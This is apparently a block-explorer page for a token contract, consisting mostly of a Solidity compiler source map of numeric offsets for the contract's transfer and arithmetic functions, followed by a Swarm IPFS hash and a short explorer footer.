6052:68;;;;-1:-1:-1;;;6052:68:0;;5623:2:1;6052:68:0;;;5605:21:1;5662:2;5642:18;;;5635:30;5701:34;5681:18;;;5674:62;-1:-1:-1;;;5752:18:1;;;5745:35;5797:19;;6052:68:0;5421:401:1;6052:68:0;-1:-1:-1;;;;;6139:16:0;;6131:64;;;;-1:-1:-1;;;6131:64:0;;6029:2:1;6131:64:0;;;6011:21:1;6068:2;6048:18;;;6041:30;6107:34;6087:18;;;6080:62;-1:-1:-1;;;6158:18:1;;;6151:33;6201:19;;6131:64:0;5827:399:1;6131:64:0;6223:1;6214:6;:10;6206:64;;;;-1:-1:-1;;;6206:64:0;;6433:2:1;6206:64:0;;;6415:21:1;6472:2;6452:18;;;6445:30;6511:34;6491:18;;;6484:62;-1:-1:-1;;;6562:18:1;;;6555:39;6611:19;;6206:64:0;6231:405:1;6206:64:0;-1:-1:-1;;;;;6295:22:0;;;;;;:18;:22;;;;;;;;6294:23;:52;;;;-1:-1:-1;;;;;;6322:24:0;;;;;;:18;:24;;;;;;;;6321:25;6294:52;6291:1029;;;6363:11;6376:12;6392:9;:7;:9::i;:::-;6362:39;;-1:-1:-1;6362:39:0;-1:-1:-1;6416:18:0;6437:26;6459:3;6437:17;:6;:17;;;:10;:17::i;:::-;:21;;:26::i;:::-;-1:-1:-1;;;;;6482:22:0;;;;;;:16;:22;;;;;;6416:47;;-1:-1:-1;6482:22:0;;6478:102;;6537:27;6560:3;6537:18;:6;:18;;;:10;:18::i;:27::-;6524:40;;6478:102;6597:14;;6594:197;;6672:17;;-1:-1:-1;;;;;6672:17:0;6662:28;;;;:9;:28;;;;;;:44;;6695:10;6662:32;:44::i;:::-;6641:17;;;-1:-1:-1;;;;;6641:17:0;;;6631:28;;;;:9;:28;;;;;;;;;:75;;;;6745:17;;6730:45;;1342:25:1;;;6745:17:0;;;;6730:45;;;;;;1315:18:1;6730:45:0;;;;;;;6594:197;-1:-1:-1;;;;;6821:15:0;;;;;;:9;:15;;;;;;:27;;6841:6;6821:19;:27::i;:::-;-1:-1:-1;;;;;6805:15:0;;;;;;:9;:15;;;;;:43;6877:41;6895:22;:6;6906:10;6895;:22::i;:::-;-1:-1:-1;;;;;6877:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;6863:13:0;;;;;;;:9;:13;;;;;;;:55;;;;6938:26;;;;;;;;;;6957:6;1342:25:1;;1330:2;1315:18;;1196:177;6938:26:0;;;;;;;;6347:629;;;5972:1355;;;:::o;6291:1029::-;7005:18;2547:6;;-1:-1:-1;;;;;7041:13:0;;;2547:6;;7041:13;;;;:39;;-1:-1:-1;;;;;;7058:22:0;;;;;;:16;:22;;;;;;;;7041:39;7038:97;;;-1:-1:-1;;;;;7096:22:0;;;;;;:18;:22;;;;;;7093:26;;7096:22;;7093:2;:26::i;:::-;7121:10;:12;;7082:37;;-1:-1:-1;;;;7121:12:0;;;;;;:10;:12;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;7038:97;-1:-1:-1;;;;;7165:15:0;;;;;;:9;:15;;;;;;:27;;7185:6;7165:19;:27::i;:::-;-1:-1:-1;;;;;7149:15:0;;;;;;:9;:15;;;;;:43;7221:41;7239:22;:10;7254:6;7239:14;:22::i;:::-;-1:-1:-1;;;;;7221:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;7207:13:0;;;;;;;:9;:13;;;;;;;:55;;;;7282:26;;;;;;;;;;7301:6;1342:25:1;;1330:2;1315:18;;1196:177;7282:26:0;;;;;;;;6990:330;5972:1355;;;:::o;1374:190::-;1460:7;1496:12;1488:6;;;;1480:29;;;;-1:-1:-1;;;1480:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1520:9:0;1532:5;1536:1;1532;:5;:::i;:::-;1520:17;1374:190;-1:-1:-1;;;;;1374:190:0:o;5837:127::-;5908:10;;5919:36;;;;;;;;;5908:10;-1:-1:-1;;;5920:11:0;;;;5919:36;;5932:4;5919:36;;;;-1:-1:-1;;;;;;;5908:10:0;;;;;5919:36;;5949:1;-1:-1:-1;;;5938:10:0;;;;;;:12;:16;;5953:1;5938:16;;;5951:1;5938:16;5919:36;;;;;;;;;:::i;:::-;;;;;5901:55;;;;5837:127;;:::o;1572:246::-;1630:7;1654:1;1659;1654:6;1650:47;;-1:-1:-1;1684:1:0;1677:8;;1650:47;1707:9;1719:5;1723:1;1719;:5;:::i;:::-;1707:17;-1:-1:-1;1752:1:0;1743:5;1747:1;1707:17;1743:5;:::i;:::-;:10;1735:56;;;;-1:-1:-1;;;1735:56:0;;7510:2:1;1735:56:0;;;7492:21:1;7549:2;7529:18;;;7522:30;7588:34;7568:18;;;7561:62;-1:-1:-1;;;7639:18:1;;;7632:31;7680:19;;1735:56:0;7308:397:1;1735:56:0;1809:1;1572:246;-1:-1:-1;;;1572:246:0:o;1826:132::-;1884:7;1911:39;1915:1;1918;1911:39;;;;;;;;;;;;;;;;;:3;:39::i;1043:179::-;1101:7;;1133:5;1137:1;1133;:5;:::i;:::-;1121:17;;1162:1;1157;:6;;1149:46;;;;-1:-1:-1;;;1149:46:0;;8042:2:1;1149:46:0;;;8024:21:1;8081:2;8061:18;;;8054:30;8120:29;8100:18;;;8093:57;8167:18;;1149:46:0;7840:351:1;1230:136:0;1288:7;1315:43;1319:1;1322;1315:43;;;;;;;;;;;;;;;;;:3;:43::i;5663:166::-;5707:7;5726:15;5768:1;5755:10;;;;;;;;;;;:14;;;:22;;;;;5773:4;5755:22;5752:45;;;-1:-1:-1;5789:6:0;5814:7;5663:166;-1:-1:-1;;5663:166:0:o;1966:189::-;2052:7;2087:12;2080:5;2072:28;;;;-1:-1:-1;;;2072:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2111:9:0;2123:5;2127:1;2123;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:127::-;2625:10;2620:3;2616:20;2613:1;2606:31;2656:4;2653:1;2646:15;2680:4;2677:1;2670:15;2696:422;2785:1;2828:5;2785:1;2842:270;2863:7;2853:8;2850:21;2842:270;;;2922:4;2918:1;2914:6;2910:17;2904:4;2901:27;2898:53;;;2931:18;;:::i;:::-;2981:7;2971:8;2967:22;2964:55;;;3001:16;;;;2964:55;3080:22;;;;3040:15;;;;2842:270;;;2846:3;2696:422;;;;;:::o;3123:806::-;3172:5;3202:8;3192:80;;-1:-1:-1;3243:1:1;3257:5;;3192:80;3291:4;3281:76;;-1:-1:-1;3328:1:1;3342:5;;3281:76;3373:4;3391:1;3386:59;;;;3459:1;3454:130;;;;3366:218;;3386:59;3416:1;3407:10;;3430:5;;;3454:130;3491:3;3481:8;3478:17;3475:43;;;3498:18;;:::i;:::-;-1:-1:-1;;3554:1:1;3540:16;;3569:5;;3366:218;;3668:2;3658:8;3655:16;3649:3;3643:4;3640:13;3636:36;3630:2;3620:8;3617:16;3612:2;3606:4;3603:12;3599:35;3596:77;3593:159;;;-1:-1:-1;3705:19:1;;;3737:5;;3593:159;3784:34;3809:8;3803:4;3784:34;:::i;:::-;3854:6;3850:1;3846:6;3842:19;3833:7;3830:32;3827:58;;;3865:18;;:::i;:::-;3903:20;;3123:806;-1:-1:-1;;;3123:806:1:o;3934:140::-;3992:5;4021:47;4062:4;4052:8;4048:19;4042:4;4021:47;:::i;4079:168::-;4119:7;4185:1;4181;4177:6;4173:14;4170:1;4167:21;4162:1;4155:9;4148:17;4144:45;4141:71;;;4192:18;;:::i;:::-;-1:-1:-1;4232:9:1;;4079:168::o;6641:175::-;6678:3;6722:4;6715:5;6711:16;6751:4;6742:7;6739:17;6736:43;;6759:18;;:::i;:::-;6808:1;6795:15;;6641:175;-1:-1:-1;;6641:175:1:o;6821:128::-;6888:9;;;6909:11;;;6906:37;;;6923:18;;:::i;6954:127::-;7015:10;7010:3;7006:20;7003:1;6996:31;7046:4;7043:1;7036:15;7070:4;7067:1;7060:15;7086:217;7126:1;7152;7142:132;;7196:10;7191:3;7187:20;7184:1;7177:31;7231:4;7228:1;7221:15;7259:4;7256:1;7249:15;7142:132;-1:-1:-1;7288:9:1;;7086:217::o;7710:125::-;7775:9;;;7796:10;;;7793:36;;;7809:18;;:::i

Swarm Source

ipfs://559312b078fda4e01d38e3897ed27f138bfddc31f94bd017353af2deda8efa9f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.